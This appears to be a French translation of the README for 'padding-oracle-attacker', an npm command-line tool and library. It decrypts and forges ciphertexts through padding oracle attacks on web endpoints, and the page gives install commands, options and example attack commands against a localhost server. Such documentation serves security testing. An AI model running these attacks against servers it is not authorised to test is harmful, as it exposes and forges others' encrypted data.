
đ Outil en ligne de commande et bibliothĂšque pour exĂ©cuter facilement des attaques par oracle de padding, avec prise en charge des requĂȘtes rĂ©seau concurrentes et une interface utilisateur Ă©lĂ©gante.
Outil CLI et bibliothĂšque pour exĂ©cuter facilement des attaques par oracle de padding, avec prise en charge des requĂȘtes rĂ©seau concurrentes et une interface utilisateur Ă©lĂ©gante.
Assurez-vous que Node.js est installé, puis exécutez
$ npm install --global padding-oracle-attacker
ou
$ yarn global add padding-oracle-attacker
Utilisation
$ padding-oracle-attacker decrypt <url> hex:<ciphertext_hex> <block_size> <error> [options]
$ padding-oracle-attacker decrypt <url> b64:<ciphertext_b64> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> <plaintext> <block_size> <error> [options]
$ padding-oracle-attacker encrypt <url> hex:<plaintext_hex> <block_size> <error> [options]
$ padding-oracle-attacker analyze <url> [<block_size>] [options]
Commandes
decrypt Trouve le texte clair (foobar) pour le texte chiffré donné (hex:0123abcd)
encrypt Trouve le texte chiffré (hex:abcd1234) pour le texte clair donné (foo=bar)
analyze Aide à déterminer si l'URL est vulnérable ou non, et
comment la réponse diffÚre lorsqu'une erreur de déchiffrement se produit
(pour l'argument <error>)
Arguments
<url> URL à attaquer. La charge utile sera insérée à la fin par défaut. Pour spécifier
un point d'injection personnalisĂ©, incluez {POPAYLOAD} dans un en-tĂȘte (-H),
le corps de la requĂȘte (-d) ou l'URL
<block_size> Taille de bloc utilisée par l'algorithme de chiffrement sur le serveur
<error> La chaßne présente dans la réponse lorsque le déchiffrement échoue sur le serveur.
Spécifiez une chaßne présente dans le corps de la réponse HTTP (comme PaddingException)
ou le code de statut de la réponse HTTP (comme 400)
Options
-c, --concurrency RequĂȘtes Ă envoyer de maniĂšre concurrente [dĂ©faut: 128]
--disable-cache Désactiver le cache réseau. Sauvegardé dans [défaut: false]
poattack-cache.json.gz.txt par défaut
-X, --method MĂ©thode HTTP Ă utiliser pour la requĂȘte [dĂ©faut: GET]
-H, --header En-tĂȘtes Ă envoyer avec la requĂȘte.
-H 'Cookie: cookie1' -H 'User-Agent: Googlebot/2.1'
-d, --data Corps de la requĂȘte
ChaĂźne JSON: {"id": 101, "foo": "bar"}
Encodé URL: id=101&foo=bar
Assurez-vous de spĂ©cifier l'en-tĂȘte Content-Type.
-e, --payload-encoding Encodage de la charge utile du texte chiffré pour {POPAYLOAD} [défaut: hex]
base64 FooBar+/=
base64-urlsafe FooBar-_
hex deadbeef
hex-uppercase DEADBEEF
base64(xyz) Base64 personnalisé ('xyz' représente les caractÚres pour '+/=')
--dont-urlencode-payload Ne pas encoder URL {POPAYLOAD} [défaut: false]
--start-from-1st-block Commencer le traitement par le premier bloc au lieu [défaut: false]
du dernier (fonctionne uniquement avec le mode decrypt)
Exemples
$ poattack decrypt http://localhost:2020/decrypt?ciphertext=
hex:e3e70d8599206647dbc96952aaa209d75b4e3c494842aa1aa8931f51505df2a8a184e99501914312e2c50320835404e9
16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= "foo bar đŠ" 16 400
$ poattack encrypt http://localhost:2020/decrypt?ciphertext= hex:666f6f2062617220f09fa684 16 400
$ poattack analyze http://localhost:2020/decrypt?ciphertext=
Alias
poattack
padding-oracle-attack
const { decrypt, encrypt } = require('padding-oracle-attacker')
// ou
import { decrypt, encrypt } from 'padding-oracle-attacker'
const { blockCount, totalSize, foundBytes, interBytes } = await decrypt(options)
const { blockCount, totalSize, foundBytes, interBytes, finalRequest } = await encrypt(options)
decrypt(options: Object): Promiseencrypt(options: Object): Promiseurl: stringURL Ă attaquer. La charge utile sera ajoutĂ©e Ă la fin par dĂ©faut. Pour spĂ©cifier un point d'injection personnalisĂ©, incluez {POPAYLOAD} dans l'URL, un en-tĂȘte (requestOptions.headers) ou le corps de la requĂȘte (requestOptions.data)
blockSize: numberTaille de bloc utilisée par l'algorithme de chiffrement sur le serveur.
isDecryptionSuccess: ({ statusCode, headers, body }) => booleanFonction qui renvoie true si la réponse du serveur indique que le déchiffrement a réussi.
ciphertext: Buffer (decrypt uniquement)Texte chiffré à déchiffrer.
plaintext: Buffer (encrypt uniquement)Texte clair à chiffrer. Le remplissage (padding) sera ajouté automatiquement. Exemple : Buffer.from('foo bar', 'utf8')
concurrency: number = 128RequĂȘtes rĂ©seau Ă envoyer de maniĂšre concurrente.
isCacheEnabled: boolean = trueLes réponses sont mises en cache par défaut et sauvegardées dans poattack-cache.json.gz.txt. Mettre à false pour désactiver le cache.
requestOptions: { method, headers, data }requestOptions.method: stringMĂ©thode HTTP Ă utiliser pour la requĂȘte. GET par dĂ©faut. POST, PUT, DELETE sont quelques options valides.
requestOptions.headers: { string: string }En-tĂȘtes Ă envoyer avec la requĂȘte. Exemple : { 'Content-Type': 'application/x-www-form-urlencoded' }
requestOptions.body: stringCorps de la requĂȘte. Peut ĂȘtre une chaĂźne JSON, des paramĂštres encodĂ©s URL, etc. L'en-tĂȘte Content-Type doit ĂȘtre dĂ©fini manuellement.
logMode: 'full'|'minimal'|'none' = 'full'full : Tout journaliser dans la console (par défaut)
minimal : Journaliser seulement aprÚs le début et aprÚs la fin
none : Ne rien journaliser dans la console
transformPayload: (ciphertext: Buffer) => stringFonction pour convertir le ciphertext en une chaĂźne lors de la requĂȘte. Par dĂ©faut, ciphertext est encodĂ© en hexadĂ©cimal et insĂ©rĂ© au point d'injection (fin de l'URL sauf si {POPAYLOAD} est prĂ©sent).
decrypt uniquement)alreadyFound: BufferOctets de texte clair dĂ©jĂ connus/trouvĂ©s qui peuvent ĂȘtre ignorĂ©s (depuis la fin). Si vous fournissez un Buffer de dix octets, les dix derniers octets seront ignorĂ©s.
initFirstPayloadBlockWithOrigBytes: boolean = falseInitialiser le premier bloc de charge utile avec les octets originaux du ciphertext au lieu de zéros.
Exemple : abcdef12345678ff 1111111111111111 au lieu de 00000000000000ff 1111111111111111
startFromFirstBlock: boolean = falseCommencer le traitement par le premier bloc au lieu du dernier.
makeInitialRequest: boolean = trueEffectuer une requĂȘte initiale avec le ciphertext original fourni et journaliser la rĂ©ponse du serveur dans la console pour permettre Ă l'utilisateur de vĂ©rifier que les requĂȘtes sont envoyĂ©es correctement.
encrypt uniquement)